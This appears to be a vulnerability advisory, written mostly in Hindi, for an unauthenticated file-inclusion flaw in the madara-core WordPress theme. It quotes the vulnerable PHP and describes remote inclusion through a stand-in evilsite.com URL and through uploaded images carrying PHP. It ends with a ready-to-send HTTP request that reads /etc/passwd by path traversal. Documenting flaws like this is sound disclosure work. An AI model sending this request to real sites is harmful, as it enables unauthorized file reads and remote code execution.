
CVE-2025-4524 - Unauthenticated madara-core Wordpress theme LFI
madara की madara_load_more कार्रवाई में एक कमजोरी है, जहां template पैरामीटर उपयोगकर्ता का मनमाना डेटा है और इसे PHP के include फ़ंक्शन में पास किया जाता है।
madara की madara_load_more कार्रवाई में एक कमजोरी है, जहां template पैरामीटर उपयोगकर्ता का मनमाना डेटा है और इसे PHP के include फ़ंक्शन में पास किया जाता है।
कमजोर कोड इस प्रकार है:
add_action( 'wp_ajax_madara_load_more', array( $this, 'ajax_load_next_page' ) );
add_action( 'wp_ajax_nopriv_madara_load_more', array( $this, 'ajax_load_next_page' ) );
...
function ajax_load_next_page() {
...
if ( $query->have_posts() ) {
while ( $query->have_posts() ) {
$query->the_post();
$madara_loop_index ++;
set_query_var( 'madara_loop_index', $madara_loop_index );
if ( $madara_loop_index < $posts_per_page + 1 ) {
if ( ( strpos( $template, 'plugins' ) !== false ) ) {
include( $template ); // we are in wp-content\themes\madara\app\{plugins} VULN
} else {
//$post_format = get_post_format() ? get_post_format : '';
get_template_part( $template, get_post_format() );
}
}
}
if ( $query->post_count <= $posts_per_page ) {
// there are no more posts
// print a flag to detect
echo '<div class="invi no-posts"><!-- --></div>';
}
} else {
// no posts found
}
/* Restore original Post Data */
wp_reset_postdata();
die( '' );
}
madara_load_more की प्रत्येक सफल क्वेरी पर, template द्वारा पास किया गया टेम्पलेट परिणाम के साथ प्रस्तुत किया जाएगा। यदि template पैरामीटर में स्ट्रिंग plugins देखी जाती है, तो इनपुट को वैसे ही include में पास किया जाता है, जबकि यदि यह मौजूद नहीं है, तो वर्डप्रेस टेम्पलेट ढूंढेगा।
हम इसका उपयोग मनमानी फ़ाइलों को क्वेरी करने के लिए कर सकते हैं, या तो https://evilsite.com/plugins/evil.php के साथ यदि allow_url_include सक्षम है, या पथ ट्रैवर्सल के माध्यम से। चूंकि इन कार्रवाइयों को करते समय वर्तमान निर्देशिका wp-content/themes/madara/app/ है, और एक plugins निर्देशिका मौजूद है, हम plugins/../../../../../wp-content/uploads/evil.png जैसी कोई चीज़ शामिल कर सकते हैं।
इसका शोषण allow_url_include पर निर्भर करता है।
यदि यह सक्षम है, तो एक दुर्भावनापूर्ण अभिनेता एक HTTP सर्वर स्थापित कर सकता है जो plugins स्ट्रिंग वाले अनुरोध पर एक दुर्भावनापूर्ण PHP स्क्रिप्ट के साथ उत्तर देता है।
यदि यह अक्षम है, तो एक दुर्भावनापूर्ण अभिनेता वर्डप्रेस इंस्टेंस पर अन्य माध्यमों से PHP स्ट्रिंग (इमेज EXIF मेटाडेटा, इमेज पिक्सेल डेटा, आदि) वाली एक फ़ाइल अपलोड कर सकता है और फ़ाइल को शामिल कर सकता है। इस तरह, इमेज डेटा PHP के रूप में व्याख्या नहीं की जाएगी और केवल टैग के बीच का PHP ही व्याख्या किया जाएगा।
इससे RCE या LFI हो सकता है।

POST /wp-admin/admin-ajax.php HTTP/2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 490
action=madara_load_more&page=1&template=plugins/../../../../../../../etc/passwd&vars%5Borderby%5D=meta_value_num&vars%5Bpaged%5D=1&vars%5Btimerange%5D=&vars%5Bposts_per_page%5D=16&vars%5Btax_query%5D%5Brelation%5D=OR&vars%5Bmeta_query%5D%5B0%5D%5Brelation%5D=AND&vars%5Bmeta_query%5D%5Brelation%5D=AND&vars%5Bpost_type%5D=wp-manga&vars%5Bpost_status%5D=publish&vars%5Bmeta_key%5D=_latest_update&vars%5Border%5D=desc&vars%5Bsidebar%5D=right&vars%5Bmanga_archives_item_layout%5D=big_thumbnail